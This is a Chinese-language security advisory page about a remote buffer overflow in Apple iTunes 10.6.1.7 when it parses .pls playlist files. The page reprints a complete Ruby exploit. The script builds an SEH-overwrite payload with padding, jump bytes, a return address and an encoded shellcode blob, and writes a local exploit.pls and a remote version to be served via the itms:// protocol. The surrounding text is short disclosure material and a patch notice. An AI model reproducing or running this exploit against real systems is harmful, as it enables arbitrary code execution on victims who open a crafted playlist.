Apple iTunes \'.pls\'文件远程缓冲区溢出漏洞
发表日期:2015-05-13 10:09:03
      Apple iTunes \'.pls\'文件远程缓冲区溢出漏洞
     
 
     
      BugTraq-ID:74467
     
 
     
      发布日期:2015-04-27
     
 
     
      更新日期:2015-05-12
     
 
     
      受影响系统:
     
 
     
      Apple iTunes 10.6.1.7
     
 
     
      详细信息:
     
 
     
      iTunes是一款数字媒体播放应用程序,是供Mac和PC使用的一款免费应用软件,能管理和播放你的数字音乐和视频。
     
 
     
      iTunes 10.6.1.7及其他版本在处理.pls文件时存在远程缓冲区溢出漏洞,攻击者利用此漏洞可在受影响应用上下文中执行任意代码。
     
 
     
      来源:
     
 
     
      Fady Mohammed Osman
     
 
     
      测试方法:
     
 
     
      警  告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!# Exploit Title: Apple Itunes PLS title buffer overflow
     
 
     
      # Date: April 26 ,2015 (Day of disclosing this exploit code)
     
 
     
      # Exploit Author: Fady Mohamed Osman (@fady_osman)
     
 
     
      # Vendor Homepage: http://www.apple.com
     
 
     
      # Software Link: http://www.apple.com/itunes/download/?id=890128564
     
 
     
      # Version: 10.6.1.7
     
 
     
      # Tested on: Windows Xp sp3
     
 
     
      # Exploit-db : http://www.exploit-db.com/author/?a=2986
     
 
     
      # Youtube : https://www.youtube.com/user/cutehack3r
     
 
     
      header = "[Playlist]\\r\\n"
     
 
     
      header << "NumberOfEntries=1\\r\\n"
     
 
     
      header << "File1=http://www.example.com/web/faq/multimedia/sample.mp3\\r\\n"
     
 
     
      header << "Title1="
     
 
     
      nseh_longer = "\\xeb\\x1E\\x90\\x90"
     
 
     
      nseh_shorter = "\\xeb\\x06\\x90\\x90"
     
 
     
      seh = 0x72d119de #pop pop ret from msacm32.drv
     
 
     
      shell = "\\xdd\\xc1\\xd9\\x74\\x24\\xf4\\xbb\\x2b\\x2b\\x88\\x37\\x5a\\x31\\xc9" +
     
 
     
      "\\xb1\\x33\\x83\\xea\\xfc\\x31\\x5a\\x13\\x03\\x71\\x38\\x6a\\xc2\\x79" +
     
 
     
      "\\xd6\\xe3\\x2d\\x81\\x27\\x94\\xa4\\x64\\x16\\x86\\xd3\\xed\\x0b\\x16" +
     
 
     
      "\\x97\\xa3\\xa7\\xdd\\xf5\\x57\\x33\\x93\\xd1\\x58\\xf4\\x1e\\x04\\x57" +
     
 
     
      "\\x05\\xaf\\x88\\x3b\\xc5\\xb1\\x74\\x41\\x1a\\x12\\x44\\x8a\\x6f\\x53" +
     
 
     
      "\\x81\\xf6\\x80\\x01\\x5a\\x7d\\x32\\xb6\\xef\\xc3\\x8f\\xb7\\x3f\\x48" +
     
 
     
      "\\xaf\\xcf\\x3a\\x8e\\x44\\x7a\\x44\\xde\\xf5\\xf1\\x0e\\xc6\\x7e\\x5d" +
     
 
     
      "\\xaf\\xf7\\x53\\xbd\\x93\\xbe\\xd8\\x76\\x67\\x41\\x09\\x47\\x88\\x70" +
     
 
     
      "\\x75\\x04\\xb7\\xbd\\x78\\x54\\xff\\x79\\x63\\x23\\x0b\\x7a\\x1e\\x34" +
     
 
     
      "\\xc8\\x01\\xc4\\xb1\\xcd\\xa1\\x8f\\x62\\x36\\x50\\x43\\xf4\\xbd\\x5e" +
     
 
     
      "\\x28\\x72\\x99\\x42\\xaf\\x57\\x91\\x7e\\x24\\x56\\x76\\xf7\\x7e\\x7d" +
     
 
     
      "\\x52\\x5c\\x24\\x1c\\xc3\\x38\\x8b\\x21\\x13\\xe4\\x74\\x84\\x5f\\x06" +
     
 
     
      "\\x60\\xbe\\x3d\\x4c\\x77\\x32\\x38\\x29\\x77\\x4c\\x43\\x19\\x10\\x7d" +
     
 
     
      "\\xc8\\xf6\\x67\\x82\\x1b\\xb3\\x98\\xc8\\x06\\x95\\x30\\x95\\xd2\\xa4" +
     
 
     
      "\\x5c\\x26\\x09\\xea\\x58\\xa5\\xb8\\x92\\x9e\\xb5\\xc8\\x97\\xdb\\x71" +
     
 
     
      "\\x20\\xe5\\x74\\x14\\x46\\x5a\\x74\\x3d\\x25\\x3d\\xe6\\xdd\\x84\\xd8" +
     
 
     
      "\\x8e\\x44\\xd9"
     
 
     
      #1020 --> offset in local exploits
     
 
     
      payload = header + "A" * 1020 + nseh_shorter + [seh].pack(\'V\') + shell
     
 
     
      #380  or 404 (if itunes wasn\'t already loaded)--> offset in remote ones using the itms protocol.
     
 
     
      payload_remote =  header + "A" * 380 + nseh_longer + [seh].pack(\'V\') + "A" * 16 + nseh_shorter + [seh].pack(\'V\') +  shell
     
 
     
      # when using as local exploit
     
 
     
      open(\'exploit.pls\', \'w\') { |f|
     
 
     
        f.puts payload
     
 
     
      }
     
 
     
      puts(\'local file created\')
     
 
     
      # place this in a web server and use the itms:// protocol to load it.
     
 
     
      open(\'exploit_remote.pls\', \'w\') { |f|
     
 
     
        f.puts payload_remote
     
 
     
      }
     
 
     
      puts(\'remote file created\')
     
 
     
      解决办法:
     
 
     
      厂商补丁:
     
 
     
      Apple
     
 
     
      -----
     
 
     
      目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
     
 
     
      http://www.apple.com/support/downloads/
     
 
      
    

   



